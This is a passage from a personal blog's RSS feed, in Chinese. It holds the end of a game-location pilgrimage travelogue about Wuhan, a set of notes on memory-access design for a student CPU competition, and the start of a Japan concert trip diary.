&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/11/PXL_20251030_012514446.RAW-01.MP_.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;远处的老太太们在打太极，我试着跟了一下，发现已经不会了&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;公园景色相当不错，可以多晃会。&lt;/p&gt;
&lt;p&gt;选一个开心的地方离开公园（最优应该是 3 号门，但其实随便哪个门出去后骑车都很方便）。前往鸣笛 1998 商业街。几乎所有的攻略等都会说这个地方简直空完了，到了之后破败的程度依然超过我的想象。不过可以喝口茶颜悦色回点血。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/11/PXL_20251030_014730930.RAW-01.COVER2_-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;罗小涵也是罗！&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/11/PXL_20251030_020919208.RAW-01.MP_.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;这里除了茶颜悦色疑似没有活着的店&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;恋爱绮谭中的国安路显然还杂糅了日式商店街，因此看起来只有神似。&lt;/p&gt;
&lt;h2&gt;中山公园 &amp;amp; 六十八中 &amp;amp; 十二中 &amp;amp; 地质局家属院&lt;/h2&gt;
&lt;p&gt;这几个都在三色中有明显的原型。&lt;/p&gt;
&lt;p&gt;我的情况是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;骑车到范湖吃了口东西&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;骑车到中山公园 K 口出，骑车到六十八中&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;骑回中山公园 K 口，西南门进入公园，西门出&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;骑车到十二中&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;骑车到王家墩东 B 口，2 号线到中山公园站 K 口出&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;骑车到地质局家属院，D 口进入利济北路站&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;不过这纯粹是我功课没做到位导致的，三顾中山公园实属是想一出是一出的后果（主要还是被官方的圣地巡礼地图带歪了头），现在看来正解是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;范湖 2 号线到王家墩东站 B 口出&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;骑车到十二中&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;骑车到青年路站 2 号线到中山公园站&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;E 口出到六十八中，后从西门进入中山公园，由西南门离开公园&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;骑车到地质局家属院，从 D 口进入利济北站&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;值得一提的是，青年路一带应该还有一些泡芙的取景地。不过行程匆忙，未能充分考虑。&lt;/p&gt;
&lt;p&gt;这里按照我的顺序来讲述。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/11/PXL_20251030_041249274.RAW-01.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;六十八中校门。这腰花面想必味道不差&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;六十八中和游戏中的图相似度极高，这个刘记腰花面都一模一样，也不知道有没有给老板版权费。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/11/PXL_20251030_044900674.RAW-01.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;柳浪桥朝游乐园方向&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;中山公园的景色相当不错，不过从柳浪桥实在是拍不到摩天轮，但是能看到。另一个槽点是这个游乐园看起来最近并不在运营，如果想来试试摩天轮或者暴力姐姐的碰碰车的话，还是得多找找相关信息，实话说，我是没找到。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/11/PXL_20251030_053557614.RAW-01.MP_.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;武汉市十二中正门&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;上学路自然已经是换了好几茬店铺了，我就不去自讨没趣了。不过没想到十二中的校门口也已经重新装修了。不过这新的大门，感觉还不如老的好看。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/11/PXL_20251030_062654421.RAW-01.MP_.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;该位置其实在小区里，有一道形同虚设的门禁&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;地质局家属院倒是一点没变，和游戏里的样子几乎一模一样。这里对面应该就是利北社区了，我并没有留图。我在图中的便利店买了两瓶水，有浓厚的老小区的氛围。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/11/PXL_20251030_063933230.RAW-01.MP_.COVER_-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;利济北路站台展望&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;半封闭屏蔽门 + 高架站台总是有不错的景色，特别这里还是第三轨供电。&lt;/p&gt;
&lt;h2&gt;水果湖高中/苹果湖高中 &amp;amp; 汉街&lt;/h2&gt;
&lt;p&gt;从利济北路坐 1 号线到黄浦路换乘 8 号线到水果湖站。&lt;/p&gt;
&lt;p&gt;C 口出向河边走就能到汉街了。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/11/PXL_20251030_073926480.RAW-01.MP_.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;汉街随拍&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;游戏中的那家麦当当已经不复存在了，但是这个星巴克倒是屹立不倒。这家还是星巴克臻选，请注意钱包。&lt;/p&gt;
&lt;p&gt;原路回水果湖地铁站，沿相反方向即可到达水果湖高级中学。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/11/PXL_20251030_080403828.RAW-01.MP_.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;水果湖高中正门，这旁边就是这个学校的游泳馆。&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;楼和游戏中的相似度是很高的，门显然就没什么关系了。据说游戏中是装修前的门，但我没有找到实景图。&lt;/p&gt;
&lt;h2&gt;华师一附中&lt;/h2&gt;
&lt;p&gt;水果湖站 A 口入站，乘 8 号线到省农科院。D 口出在南湖大道丁字桥南路站乘坐 570 路到江夏大道顾村站下车。向前走第一个路口，斜对面即是华师一附中。&lt;/p&gt;
&lt;p&gt;如果想要游戏中的场景，即学校正门则应该再往前走一个路口左转。不过我当时没注意到，走过去才发现是后门，骑车溜到了正门。不过也因此看到了篮球场，和游戏的相似度一样很高。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/11/PXL_20251030_094339518.RAW-01.MP_.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;华师一附中正门&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;相似度 100%，照着捏的肯定没啥好说的。不过正好是他们晚饭时间，来来往往人很多，实在不好意思多拍（感觉已经被保安盯上了），只得多看几眼走人。&lt;/p&gt;
&lt;p&gt;骑车到江夏大道汤逊湖北路同样乘坐 570 路到武昌火车站东广场，按照乘火车的指引走过东西广场联络地道，即可回到起点。&lt;/p&gt;
&lt;h2&gt;中山公园追记&lt;/h2&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/11/PXL_20251102_110150058.RAW-01.MP_.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;音乐喷泉&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;比赛后又来到了中山公园看了下音乐喷泉。晚场的效果相当不错，推荐有空来看。和游戏里的相似度也是很高的。和游乐场不同，音乐喷泉的时间会在中山公园的官方发布和更新，出发前请务必核对，以防跑空。&lt;/p&gt;
&lt;h2&gt;结语&lt;/h2&gt;
&lt;p&gt;总得来说由于上午身体不适，进度没有很快，回到武昌站已经是 19 点了。本次主要聚焦在三色，高恋，恋爱绮谭，三款游戏上，不过还是有一些没去的地方，比如恋爱绮谭还有很多取景地，武汉长江二桥，华中师范大学等等，而三色那张江景也可以在长江大桥中间拍得，我显然偷懒了。而武汉作为「国 G 圣城」显然不止这三个游戏，「我和她的世界末日」和泡芙等等作品都以武汉为背景。只能困于有限的精力，交给以后的自己。&lt;/p&gt;
&lt;p&gt;有不少地方已经不复存在。三色的上学路的商家也许已经换了好几茬了，恋爱绮谭中的猫咖也已倒闭数年，更不要提本文中也提及的，两所已经重新装修后的校门。对于此，显然只能到此成为「时空伴随者」，而无法享受同一片景色。&lt;/p&gt;
&lt;p&gt;时间会改变很多东西，也会留住很多东西。对于我来说，本文提到的几个作品是我最早了解到国产独立游戏和 AVG，尽管我已很久没有打开过这几款游戏，尽管这几款游戏都已经被炎上过好几次，该有的滤镜还是在的。但是同样的，江城已经更新迭代多轮，互联网和十年前相比更是天壤之别。&lt;/p&gt;
&lt;p&gt;因此，有机会的话当然应该趁早巡礼。但是像本文一样，10 年后终于落地的圣地巡礼之梦，也有其独特之处。尽管这些作者们后来都被炎上了，但是还是感谢曾经的他们创造出了这些游戏。同样感谢先人的经验，在我收集点位时提供了巨大帮助。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;大好きだと　感じたなら忘れないで
そのトキメキ　ずっとみちしるべ
君を照らすはずさ
大好き抱きしめながら　旅にでよう
-- 「僕らの旅は終わらない」 Aqours&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Woshiluo Luo&lt;/p&gt;
&lt;p&gt;2025 年 11 月 04 日 初稿 于 杭州电子科技大学&lt;/p&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://zhuanlan.zhihu.com/p/30005189706&quot;&gt;https://zhuanlan.zhihu.com/p/30005189706&lt;/a&gt; 武汉之旅 | 《三色绘恋》《恋爱绮谭》《高考恋爱一百天》圣地巡礼（2025 年 3 月）&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.l3zc.com/2023/08/wuhan-trip/#%E6%9C%80%E5%90%8E&quot;&gt;https://blog.l3zc.com/2023/08/wuhan-trip/#%E6%9C%80%E5%90%8E&lt;/a&gt; &lt;a href=&quot;https://blog.l3zc.com/categories/%E7%94%9F%E6%B4%BB/&quot;&gt;&lt;/a&gt;江城武汉圣地巡礼：《三色绘恋》《恋爱绮谭》《高考恋爱100天》&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.bilibili.com/opus/815172973057015895&quot;&gt;https://www.bilibili.com/opus/815172973057015895&lt;/a&gt; 【圣地巡礼攻略】江城——《高恋》《三恋》武汉篇&lt;/p&gt;
</content:encoded><author>woshiluo</author></item><item><title>访存实现漫谈 -- 龙芯杯参赛笔记</title><link>https://blog.woshiluo.com/posts/2025/09/%E8%AE%BF%E5%AD%98%E5%AE%9E%E7%8E%B0%E6%BC%AB%E8%B0%88-%E9%BE%99%E8%8A%AF%E6%9D%AF%E5%8F%82%E8%B5%9B%E7%AC%94%E8%AE%B0/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2025/09/%E8%AE%BF%E5%AD%98%E5%AE%9E%E7%8E%B0%E6%BC%AB%E8%B0%88-%E9%BE%99%E8%8A%AF%E6%9D%AF%E5%8F%82%E8%B5%9B%E7%AC%94%E8%AE%B0/</guid><pubDate>Sun, 14 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;笔者在暑假参加了今年的龙芯杯竞赛，然后三等奖遗憾跑路了。虽然奖项上不尽如人意，但是也确实是有很多很多工作做的不好，在此处整理一些 LA32R 访存系统相关和参赛的思路，留作记录。&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;0 我们有什么条件&lt;/h2&gt;
&lt;p&gt;硬件上：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;LUT 限制&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;BRAM 限制&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;时序限制&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;软件上：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;LA32R 使用指令维护数据缓存和指令缓存的一致性&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;TLB 理论上需要全相连实现&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;LUT 时序和 BRAM 时序我在做的时候一般也叫面积限制。&lt;/p&gt;
&lt;p&gt;实践上面积限制，时序限制和性能限制会是三个几乎正交方向，三者间的 trade-off 乃至于和后端（特别是发射，写回部分）与前端（特别是刷回部分）的 trade-off 会是文中的主因。&lt;/p&gt;
&lt;p&gt;一个很容易发生的错误是认为模块间的耦合度不高，事实上在硬件的限制下，理想的抽象很难存在，因此常常会有妥协抽象以满足限制的情况。特别是和前后端的交互往往会对两边产生较大影响，往往也会耦合的越高。&lt;/p&gt;
&lt;h2&gt;1 访存类型&lt;/h2&gt;
&lt;p&gt;在报告时我没有谈及 uncache 部分，因为给定的报告时间很有限。这里可以多说几句。&lt;/p&gt;
&lt;p&gt;首先我们会分成访（load）和存（store）两部分，再这基础上还有一致可缓存和强序非缓存的区别。原子访存较为特殊，可以和上面两者并列。剩下的部分则是缓存一致性操作（cacop/*bar）。&lt;/p&gt;
&lt;p&gt;因此我们可以这么讨论：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;uncache load/store&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;cache load/store&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;atomic load/store&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2 如何超标量&lt;/h2&gt;
&lt;p&gt;访存由于要和外界交互，因此自然会面临最多的不确定性，也就更难进行推测执行和多发射。但是如果既不推测执行，也不做多发射，那将会成为非常棘手的瓶颈。（试想一下，隔几条指令就要等一次 AXI 交互。）&lt;/p&gt;
&lt;p&gt;对于储存器只有一个读写口的问题有比较通行的解决方案，使用 bank 就可以了。另一个比较棘手的问题则是 store 指令如何推测执行。&lt;/p&gt;
&lt;p&gt;store 的后效性极大，因为该指令一旦执行就会影响 cache 中乃至下级储存器的状态，撤回代价很高。一个自然的思路就是推测执行的 store 不会真的执行而是放在 buffer 中，通过编号确定他会不会影响后续的 load 指令，直到后端确定该指令被执行为止。&lt;/p&gt;
&lt;p&gt;但是如果是乱序发射，这样做还是会有更多问题。假设 B 为 load 指令，A 为 store 指令，B 在 A 之后且 B 先于 A 被（乱序）发射给访存模块，该指令将有可能读取到错误的结果，而访存系统无从判断。&lt;/p&gt;
&lt;p&gt;我有去翻过香山的实现，他们在此引入的预测器和刷回机制，这毋庸质疑会带来巨大的面积和时序开销。参赛所提供的板子的板上资源非常有限，我认为这是不可能做到的。&lt;/p&gt;
&lt;p&gt;另一个办法其实就是委曲求全，放弃 store 的乱序执行，让 load 部分乱序。也就是通过发射时额外保证来避免不会发生上文的情况。这也是我们选择的方法。&lt;/p&gt;
&lt;p&gt;如果你足够灵敏，应该会发现这里有个很尴尬的事情。由于分 bank，访存模块内部会有一个排队机制，同样的，后端也有一个用于保证发射顺序的排队机制。这很没有道理，但是当我们注意到这里已经为时已晚，我们只能在此基础上修修补补。&lt;/p&gt;
&lt;h2&gt;3 Uncache&lt;/h2&gt;
&lt;p&gt;uncache 的棘手在于两个：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;在地址翻译之前，无法区分 uncache 和 cache 指令。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;uncache 必须要在其确定被执行时才被执行。因为乱序和推测都有可能破坏「强序非缓存」的保证，换句话说，uncache 指令的作用往往无法被撤回。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;在我的实现中，将 uncache 并入正常访存的流水几乎不可能（因为两次请求合并会抹除太多信息）。只能在发现 uncache 指令后另如 buffer 等待其被确定执行。&lt;/p&gt;
&lt;p&gt;在我们的后端实现中，一个指令要先被写回才能确定其被执行。这很矛盾，因为不可能在没有执行的时候写回。我们采取了一个很 dirty 的做法，对于访存指令，允许发送两次写回，一次写回标记其为 uncache，另一次则是真正的写回工作。&lt;/p&gt;
&lt;h2&gt;4 cache/atomic&lt;/h2&gt;
&lt;h3&gt;4.1 存指令的请求合并&lt;/h3&gt;
&lt;p&gt;存指令的特殊性不仅在上文提到的巨大后效性，更在于其是不需要有意义的写回的（即影响寄存器）。&lt;/p&gt;
&lt;p&gt;另一个事实则是，执行写请求会影响性能，因为要保持写请求的请求一致性。&lt;/p&gt;
&lt;p&gt;我们可以合并确定执行的写请求。实践上，对同一片区域的写入很容易重复出现，这么做会获得很大的提升。&lt;/p&gt;
&lt;h3&gt;4.2 atomic&lt;/h3&gt;
&lt;p&gt;标准里声称对 uncache 地址的 atomic 操作是未定义行为，所以我们只需要考虑 cached atomic。&lt;/p&gt;
&lt;p&gt;如果你足够投机取巧，会发现不需要一对一实现手册中对 atomic 锁的要求。因为你大可以声称所有的写请求都会更改 cache 状态因而需要撤回锁，所以只需要在有写的时候解锁即可。&lt;/p&gt;
&lt;p&gt;另一个和普通执行不同的是，原子存也是需要修改寄存器的。我们的实现中把原子存同时看作为 load 和 store 指令，在两条流水线同时执行。&lt;/p&gt;
&lt;h3&gt;4.3 Cache Hit&lt;/h3&gt;
&lt;p&gt;hit 是一个很理想的情况。对于替换请求，hit 后即刻上全局锁，下一周期替换即可。对于读请求则更为简单，直接向下转发结果即可&lt;/p&gt;
&lt;h2&gt;5 Cache Miss&lt;/h2&gt;
&lt;p&gt;缓存失命中的代价是巨大的，因此也有必要单列一章来聊聊缓存失命中的代价。&lt;/p&gt;
&lt;h3&gt;5.1 MSHR&lt;/h3&gt;
&lt;p&gt;Miss Status Handling Register&lt;/p&gt;
&lt;p&gt;这个名字比较高大上，其实还是请求合并的思路的。&lt;/p&gt;
&lt;p&gt;所有 miss 的请求都会转发给 MSHR。&lt;/p&gt;
&lt;p&gt;我们的实现将 MSHR 的 Tag 部分和 Data 部分切为两极，来缓解时序压力。&lt;/p&gt;
&lt;p&gt;Tag 部分用于将地址和 id 对应，Data 部分则记录每一个请求的具体地址及其结果（如果获取到了）。&lt;/p&gt;
&lt;p&gt;Tag 部分将会根据地址从下级储存器读一整个行，并将结果缓存在 Tag 部分（避免多次请求，更避免一个地址对应多个 id），同时发给 Data。&lt;/p&gt;
&lt;h3&gt;5.2 Cache 替换&lt;/h3&gt;
&lt;p&gt;Data 部分收到数据后将会发起 cache 替换流程。基本的流程是&lt;/p&gt;
&lt;p&gt;获取被替换行并上锁 -&amp;gt; 写回该行 -&amp;gt; 发送地址给存请求合并队列 -&amp;gt; 替换该行并解锁&lt;/p&gt;
&lt;p&gt;这里和命中时共享同一个锁。&lt;/p&gt;
&lt;p&gt;一个值得一提的细节是一开始这两种情况不会用同一个锁，我们通过锁等级来减少命中替换的代价，但是最终因为面积代价而放弃。&lt;/p&gt;
&lt;h2&gt;6 杂谈&lt;/h2&gt;
&lt;h3&gt;6.1 关键路径&lt;/h3&gt;
&lt;p&gt;实践上最棘手的关键路径在两个部分：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;刷回&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;tag 比较&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;前者是刷回部分不适合切级，容易出现问题。后者则是根本无法切级，也缺乏优化空间。&lt;/p&gt;
&lt;p&gt;一般的实现应该很难规避后者的代价，应当在设计初期就考虑令此部分单独一级。&lt;/p&gt;
&lt;h3&gt;6.2 异步的传播性&lt;/h3&gt;
&lt;p&gt;其实与其说异步，不如说是握手。&lt;/p&gt;
&lt;p&gt;一般情况下握手自然要引入状态机，但是会发现在获取数据和发送数据两个阶段，整个是空闲的。&lt;/p&gt;
&lt;p&gt;一个自然的思路的合并这两个阶段来介绍一个周期的代价，特别是对于 cache 请求，合并后可以做到 SRAM 行为。&lt;/p&gt;
&lt;p&gt;但是也要注意到这么做会很容易产生关键路径，因为会将 ready 相关路径变得很长。&lt;/p&gt;
&lt;h3&gt;6.3 死锁&lt;/h3&gt;
&lt;p&gt;因为复杂的排序机制和极多的队列，很容易在某个极端的情况发生死锁。会发生这种情况一般来说就是和后端的沟通不到位或者是自己的实现时考量不全面。&lt;/p&gt;
&lt;p&gt;话是这么说，但是毕竟是「极端情况」，没那么容易想到。因此也要做好和死锁问题缠斗的准备并考虑构建/随机生成测试来测出这种问题。&lt;/p&gt;
&lt;h3&gt;6.4 布线压力&lt;/h3&gt;
&lt;p&gt;因为你的代码最终还是要到物理世界。每一个 LUT 之间是要接线的，所以在面积上升的时候，LUT 间的线也大概率会变长。&lt;/p&gt;
&lt;p&gt;也就是说，面积较大会给时许带来灾难性的负面影响。&lt;/p&gt;
&lt;h2&gt;7 结语&lt;/h2&gt;
&lt;p&gt;听说今年特等奖的队伍引入了 L2 缓存，感觉还是太厉害了，我们的时序和面积（这里特指 LUT）都很难引入了。而且新的缓存还有新的缓存一致性问题，恐怕不是经验老道的人都很难做到了吧（笑）。&lt;/p&gt;
&lt;p&gt;其实到头来感觉队里的每个人都尽力了，但是在团队合作上可能还是有诸多问题，也希望如果有读到本篇博客的人要参赛，一定一定要注意队内的沟通，尽早合并代码。代码在合并之前你是不知道自己有多少「想当然」忽略掉的细节的。&lt;/p&gt;
&lt;p&gt;闭幕式上有个老师说有些队，队内任务分配不均。其实不均可能是好事情，因为事实上，耦合度越高性能越可能更好，但是耦合度高的代码，多人维护的难度也会大于单人。这让我回想到了算法竞赛的时候，队内三人水平相当时一般是需要一些所谓「化学反应」才能发挥出 1+1 &amp;gt;= 2 的效果的，不然搞不好就是 1+1 ‹ 1 了。&lt;/p&gt;
&lt;p&gt;不管如何，这个比赛的水平是一年比一年吓人了，希望以后能见到更多有趣的设计。&lt;/p&gt;
&lt;p&gt;本文仅作记录，如有错误请多多指正。&lt;/p&gt;
&lt;p&gt;2025/09/14 于 杭州电子科技大学&lt;/p&gt;
</content:encoded><category>share</category><author>woshiluo</author></item><item><title>盛夏日本急行</title><link>https://blog.woshiluo.com/posts/2025/07/%E7%9B%9B%E5%A4%8F%E6%97%A5%E6%9C%AC%E6%80%A5%E8%A1%8C/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2025/07/%E7%9B%9B%E5%A4%8F%E6%97%A5%E6%9C%AC%E6%80%A5%E8%A1%8C/</guid><pubDate>Fri, 18 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;序&lt;/h2&gt;
&lt;p&gt;怎么办，现在还在沼津戒断反应，我要去沼津～～～&lt;/p&gt;
&lt;p&gt;大概在去年 6 月的时候 Aqours Finale LoveLive 就公告了。不过那个时候还在忙于 XCPC 乃至 BW 相关。不过再怎么说没去缪 FL 还能说自己年少无知，水 FL 就在眼前，不拼一把实在说不过去。&lt;/p&gt;
&lt;p&gt;然后就是某次数字电路实验课上公布的在西武巨蛋。老家是老家，但是作为 FL 是不是有点不够格。不过看起来大家相比较骂更多还是猛叠抽选，人民群众还是太能当韭菜了。&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;p&gt;在和同行叠了 ~30 张抽选后，最速先行中了两个 Day1，然后同行的朋友中了两个 Day2。大家友好交换一下就可以全勤了。&lt;/p&gt;
&lt;p&gt;大概春节期间办了护照买了机票，万事俱备只欠东风，了吗？&lt;/p&gt;
&lt;p&gt;在一切的一切之前，我们要先看看贵校的校历。不难发现，水水 FL 的时间在期末周正中间。我们当然一开始就注意到了，但是本着「不冲万一期末考试没冲就很后悔」的精神，我们决定战术性忽略这一点。&lt;/p&gt;
&lt;p&gt;期末考试安排在五月出来，而我则被喜闻乐见的冲了一天，不得不重新买张机票。自此，除了飞机延误、赶飞机和被入场拦截，至少在 FL 相关的变数已经很小了。&lt;/p&gt;
&lt;p&gt;现在让我们整理一下&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;0620&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(UTC-8) 1345-1545 计算机网络 考试
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;1800-2000 最优化原理与方法 考试&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;2200 市域机场线 虹桥始发末班车&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;0621&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;0225 航班预计起飞 上海浦东
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;(UTC-9) 0620 航班预计落地 东京成田&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Aqours Finale LoveLive Day1&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;0622&lt;/p&gt;
